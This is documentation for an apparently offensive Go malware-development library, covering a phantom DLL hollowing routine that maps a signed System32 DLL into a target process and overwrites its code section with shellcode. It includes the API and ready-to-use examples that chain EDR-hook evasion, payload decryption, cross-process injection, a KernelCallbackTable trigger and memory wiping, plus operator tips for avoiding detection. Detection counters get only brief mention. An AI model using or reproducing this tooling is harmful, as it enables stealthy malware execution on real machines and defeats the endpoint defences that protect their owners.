Phantom DLL hollowing

← injection index · docs/index

TL;DR

Cross-process module stomping: open a real System32 DLL, build a SEC_IMAGE section from it, map the section into the target so the kernel records the mapping as a legitimate signed image, then overwrite the .text of the remote view with shellcode. Memory scanners see a file-backed amsi.dll mapping; the bytes are the implant's. Optionally routes the open through evasion/stealthopen to dodge path-based file hooks.

Primer

Module stomping (local) gives an RX region that the OS reports as a legitimate signed image — but only inside the implant's own process. Phantom DLL hollowing extends the same idea across a process boundary by combining NtCreateSection(SEC_IMAGE) with NtMapViewOfSection into the target.

The kernel insists that SEC_IMAGE sections be backed by an Authenticode- signed file; the implant uses a real System32 DLL (amsi.dll, msftedit.dll, …) so the signature check passes. The same pages are then overwritten in the target's view: read the on-disk DLL to locate the .text RVA, flip the remote section to RW with VirtualProtectEx, write the shellcode, flip back to RX. The remote process now has an amsi.dll mapping whose code segment is the implant.

EDR memory scanners that key on "is this image-backed and signed?" report green. Defenders that compare in-memory bytes against the on-disk copy see the divergence.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Open as "stealthopen.Opener (optional)"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Open: open amsi.dll
    Open-->>Impl: hFile
    Impl->>Kern: NtCreateSection(SEC_IMAGE, hFile)
    Kern->>Kern: Authenticode validation
    Kern-->>Impl: hSection (image-backed)

    Impl->>Kern: NtMapViewOfSection(target, RX)
    Kern->>Tgt: legitimate amsi.dll image mapped
    Kern-->>Impl: remoteBase

    Impl->>Impl: parse local copy of amsi.dll PE → text RVA, size
    Impl->>Kern: NtProtectVirtualMemory(target, .text → RW)
    Impl->>Kern: NtWriteVirtualMemory(target, .text ← shellcode)
    Impl->>Kern: NtProtectVirtualMemory(target, .text → RX)

Steps:

1. Open the cover DLL (default amsi.dll). When an Opener is supplied, the open routes through file-ID handles rather than a path-based CreateFile, defeating EDR file-IO hooks that key on path strings.
2. NtCreateSection(SEC_IMAGE) — kernel validates and builds a signed image section.
3. NtMapViewOfSection into the target with PAGE_EXECUTE_READWRITE.
4. Parse the cover DLL's PE headers in the implant to locate the .text RVA and size.
5. Flip + write + flip back the target's .text via VirtualProtectEx + WriteProcessMemory + VirtualProtectEx.
6. (Caller's responsibility) trigger the shellcode in the target — KernelCallbackExec, SectionMapInject-paired thread, callback APC.

API Reference

inject.PhantomDLLInject(pid int, dllName string, shellcode []byte, opener stealthopen.Opener) error

godoc

Inject shellcode into pid's address space, masquerading as the loaded image of dllName.

Parameters:

• pid — target. Needs PROCESS_VM_OPERATION, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION.
• dllName — System32 leaf (e.g. "amsi.dll"). The package resolves to the absolute path under %SystemRoot%\System32\ if no path is given.
• shellcode — bytes to write over .text. Must be ≤ the cover DLL's .text size.
• opener — optional stealthopen.Opener. Routes both the PE-parse read and the NtCreateSection handle through file-ID-based opens, bypassing path-based file-IO hooks. Pass nil for the path-based default.

Returns: error — wraps file-open / NtCreateSection / NtMapViewOfSection / WriteProcessMemory / VirtualProtectEx failures. Reports if the shellcode exceeds the cover DLL's .text.

Side effects: maps a SEC_IMAGE section into the target. The mapping persists until the target exits.

OPSEC: does not trigger — caller must run the shellcode (e.g. KernelCallbackExec, an APC, a thread).

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, nil); err != nil {
    return err
}
// caller now triggers the shellcode separately.

Composed (stealthopen for the file open)

Defeat path-based EDR file hooks on amsi.dll:

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/inject"
)

sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()

return inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener)

Advanced (phantom + KCT trigger)

End-to-end placement + execution:

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

if err := inject.PhantomDLLInject(targetPID, "msftedit.dll", shellcode, nil); err != nil {
    return err
}

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
return inject.KernelCallbackExec(targetPID, shellcode, caller)

Complex (decrypt + stealthopen + phantom + trigger + wipe)

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()

if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener); err != nil {
    return err
}
memory.SecureZero(shellcode)

return inject.KernelCallbackExec(targetPID, shellcode, caller)

OPSEC & Detection

D3FEND counters:

• D3-PCSV — image-integrity verification.
• D3-SICA — image-change analysis on loaded modules.

Hardening for the operator: route the file open through stealthopen; pick a cover DLL that the target is unlikely to actually import (so the load looks load-but-unused rather than overlapping legitimate use); pair with ntdll unhooking.

MITRE ATT&CK

Limitations

• WriteProcessMemory still fires. The technique avoids the allocation anomaly (image-backed instead of heap), not the cross-process write itself.
• Non-trigger. PhantomDLLInject only places the shellcode. The caller picks the trigger (KernelCallbackExec, APC, thread).
• Cover DLL must not be already loaded with dependencies in target. If amsi.dll is already mapped because AMSI is in use, the new SEC_IMAGE mapping conflicts. Pick a DLL the target does not load (verify via Process Explorer first).
• Image-diff defeats it. Defenders that compare loaded .text against the on-disk DLL win.

See also

• Module Stomping — local, in-process variant of the same technique.
• Section Mapping — non-image-backed cross-process placement.
• KernelCallbackTable — the canonical trigger paired with PhantomDLLInject.
• evasion/stealthopen — defeat path-based file-IO hooks on the cover DLL open.
• Forrest Orr, Phantom DLL Hollowing, 2020 — original public write-up.